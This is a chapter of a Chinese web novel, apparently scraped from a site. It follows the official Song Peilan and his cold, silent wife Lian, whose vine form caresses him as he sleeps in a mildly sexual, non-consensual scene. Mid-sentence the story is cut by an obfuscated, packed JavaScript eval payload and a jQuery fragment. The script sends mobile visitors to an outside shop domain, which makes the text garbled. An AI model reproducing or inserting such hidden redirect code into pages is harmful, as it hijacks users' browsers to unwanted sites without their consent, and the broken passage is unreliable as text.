翰林院。
已近黄昏，三三两两的官员经过廊檐，谈话声不大，被料峭的寒风吹散开来。昨日下了入冬后的第一场雪，满园寒霜，莹莹的积雪被踏碎碾进泥里，化成一滩污水。
待人都走尽了，一间书房才启门扉，深红的官袍一角伴着动作拂过门槛。这身官袍修长笔挺，从袖口到衣角无一处污渍磨损，清洗它的人显然花了很多心思。
那人小心地避开积雪水潭，行至廊檐下，仰起脸观望天色。
他有一对清润如玉的眼瞳，含了郁气般深邃，却偏偏眼尾上翘，是似勾似引的桃花眼。这双眼睛太过夺目，而与之相配的面容又太过温润，反倒显得不合时宜。
“珮兰！”
有人在不远处叫他。
宋珮兰敛了视线，几步上前去：“书毅，你在此等我？”
方书毅与他自幼相识，又是一同进书院，一同考进士，一同进了翰林院，关系匪浅。
“你今日太冒进了，”方书毅压低了声音，“那薛侍郎也是你能说的？帮人不成，小心把自己搭进去。”
“师恩深厚。”宋珮兰正色道。
他平静地迎上方书毅的目光，瞳色漆如点墨，无波无澜。
对峙了半晌，方书毅率先败下阵来，伸过手臂虚虚揽着他：“走吧，今日丰源酒楼有特供的琥珀酒，我订了三壶，你陪我喝酒去。”
宋珮兰沉吟片刻：“好。”
“难得啊！我原以为你今日也抽不出空来，”方书毅笑着拍他的肩膀，“怎么，嫂嫂不需要你陪了？还是……你们吵架了？”
宋珮兰眸光一闪，拢袖大步向前：“未曾。”
“真吵架了。”
方书毅喃喃着，追上他：“无论如何，嫂嫂是个可怜人，她不容易，你那臭脾气得收着点。”
宋珮兰此人哪里都好，偏偏认死理，不知变通。
方书毅对宋夫人有些了解。三年前宋珮兰归乡祭祖，返程途中发现一个奄奄一息的女子，听闻她家乡遭难，颗粒无收，迫不得已逃荒至此。宋珮兰施以援手将她带回了京城，养在府邸。
那女子实在是个可怜人，无姓，单名一个莲字，无亲无友，最终宋珮兰不顾家族反对娶其为正妻，跪在祠堂三天三夜，此事才算揭过。
丰源酒楼今日请了戏班登台，方书毅就着美酒大快朵颐，偶然侧目，宋珮兰看戏竟然看得出神。他举杯过去与宋珮兰碰杯，道：“如此精彩一出戏，你也能走神？”
锣鼓乐声里，宋珮兰定了定神，端起酒盏轻呷。
他自小不擅音律字画，但也不至于看戏出神。他方才只是想到前日的光景，气温降得厉害，妻子却不肯在房中添炭火。她从前应是用不起炭，生生扛过寒冬，可如今已成他的妻，用他些炭火又何妨呢？
方书毅猜得对也不对，他的确和她有些争执，可吵架是万万算不上的。他的妻子少言寡语，只说了一句不用炭，便再也不肯开口，任凭他如何劝说。
他们成婚三载，并未同房，分榻而眠。那晚宋珮兰也将自己卧房内的炭盆撤掉，瑟瑟发抖着熬过了一宿。饶是他也扛不住那深寒，遑论体弱的妻子。
养在府中三载，他的莲娘仍如初见时那般纤弱。肤色苍白，喜静不喜动，平日哪怕是一只墙头扑棱展翅的小雀也能将她吓住。
过去两年是暖冬，加之那时的妻子与他更加不相熟，宋珮兰没有多管，可今年雪越下越大，他才抓住炭盆这事不放，惹恼了她。
台上唱腔婉转，宋珮兰不懂欣赏，却也知是一出精彩的好戏。
可惜莲娘还没听过。
*
宋珮兰披着夜色回府时，守在门口的侍女云儿提灯迎上来：“大公子，夫人在亭中等您。”
“天色已晚，”他匆匆地穿过长廊，“她还在外面？我传的消息告诉她了么？”
“夫人知道，”云儿小跑起来，“奴婢也劝过她先回屋。”
庭院深深，小径两旁的石灯笼散发着昏黄的光晕，仅能照亮前方的一小片路，宋珮兰长眉微蹙，步伐快了些许。
凋零的荷花池上，一方四角亭中端坐着一袭丁香色衣裙的女子。她神情淡然地望着水面，露出的手腕皓白瘦弱，面上毫无血色，长睫投下阴影。
宋珮兰的身影出现在小径上，一霎时，她将视线正了回来，无声地、一错不错看着他。
“莲娘，夜深了，早些歇息吧。”宋珮兰在三步外停下。
莲娘不喜与人接触。当初她倒在路边，宋珮兰不过是伸手探了探鼻息，就被她狠狠地瞪了一眼。这之后他想扶她回马车，莲娘更是竭力挣扎，直到他脱了外衣将她整个裹住才罢休。
她主动开口询问道：“晚膳，为何不回来？”
是在问他因何不回府用晚膳。相处这么长时间，宋珮兰已经能将她的只言片语自行组合成句，他解释道：“方书毅邀我去丰源酒楼饮酒。”
莲娘露出了然的表情，轻轻点了点头。
“回屋休息吧。”
宋珮兰侧过身，做了个“请”的手势，示意她起身。他十分自然地拿起石桌上的一盆小花，走在莲娘身后。那盆小花的品种是铁线莲，零零星星开着几朵浅紫色花，是莲娘回府一年后栽种的，花不离身。
她种得不太好，曾经有下人想帮她修一修，刚碰到花盆就被莲娘一把推开，若不是他拦得及时，恐怕莲娘是要动手的。
奇怪的是，她不许旁人碰，却放任他帮忙。
最初宋珮兰对这盆花也是敬而远之，但有一日莲娘忙着学绣花，连旁边的花被鸟雀啄了都毫无察觉，他情急之下将花盆抱在怀里，她发现后神色如常，并无异样。
于是他便知道自己是唯一被默许的。
这株花耐寒，前不久才开花，是冬日里少有的亮色。而今日又开一朵纯白的，宋珮兰看惯了也觉得好看，用指尖轻轻点了点花瓣，道：“莲娘的花长得不错。”
走在前头的莲娘脚步稍顿，极轻极轻地笑了声。
他心神一震，似乎知晓了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608407|205819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
该如何哄她开心。莲娘肯笑，就证明她不再生他的气，尽管她气与不气待他都没什么变化，但宋珮兰认为闷气会郁结于心，还是让莲娘开朗些罢。
“我看这朵白色最是好看，”宋珮兰紧走几步，与她并肩而行，“莲娘以为呢？”
“的确。”
她略一点头，赞同他的话语。
默了一息，又道：“你喜欢，摘去。”
“不必，”宋珮兰爱惜地抚着花瓣，“观其美足矣，何须染指。”
在他不曾留意到的时刻，莲娘的瞳孔急促缩了缩，唇角绷紧。她盯着面如冠玉的夫君，视线蛇一般滑过他的眉眼颈项，似乎在思索着什么。但很快，她便收敛起情绪，沉默着走在前面。
宋珮兰想不通究竟那句话又惹她生气，捧着花跟在她身后，不再言语。
莲娘话太少，他总会担心她，担心她其实在这深院里过得并不好，担心她受了欺负也不说，担心她心里有愿望却不宣之于口，他无法实现。
路走到尽头，侍女云儿推开门。门内清冷，今晚莲娘也不打算用炭火取暖。
“若是……”宋珮兰将花交还于她，忍不住再度提醒，“夜里觉得冷，记得叫云儿添炭火。”
他留意着她的神色，手背忽然触及一片冰凉，不由得怔住。
她的手不经意间碰到了他。冰凉，虽说不似寒冰，但和寻常人比起来确实冷了些，冷得不正常。
这几天他一直在试图说服自己，莲娘或许不畏冷，或许如她所说，用不上炭盆……可接触为实，她分明需要炭火取暖。
“当真不用么？”他固执地问她。
莲娘抱着花盆，头也不回踏进屋内，在门扉合上前回眸与他对视一眼，神色晦暗不明。
夜里飘起了鹅毛大雪，纷纷扬扬，宋珮兰屋内炭火烧得很足，怡然如春。突然传出簌簌声响，一枝浓绿的花蔓穿过门缝，掀起门帘匍匐进来。一股冷风呼啸，打着旋儿在屋内乱窜，榻上熟睡的人缩了缩身子。
花蔓将门帘压上，严严实实地堵住寒风。
它熟门熟路绕上床柱，沿着被褥的边缘探进去，贴着肌肤游走，又从领口钻出，停在宋珮兰脸上，舒展枝叶，末端盛开一朵纯白的小花，花瓣轻柔拂过他的面颊。仿佛一只人手在抚摸他的侧脸。
热气弥漫，宋珮兰的面颊浮起一层云霞似的粉，花蔓喜欢极了那一抹颜色，反反复复地摩挲。
观其美足矣，何须染指。
它抖了抖枝叶，对这句话表示不满。灵巧的花蔓覆上他的唇瓣，从缝隙延伸，搅动不休，引得熟睡的人呼吸急促起来。许久后花蔓才恋恋不舍地离开，枝叶挂着晶莹的水迹。
从门缝间钻出，它在雪里静静地待了一会儿。它生性不喜热，温暖的屋内贴近温热的人体，毫无疑问是不适的。可它将挂水的枝叶高高翘起，耀武扬威，仿佛是件稀有的战利品。
天亮前，它早已消失得无声无息，雪地上蜿蜒的痕迹很快被新雪覆盖掉。长夜寂静，雪落无声。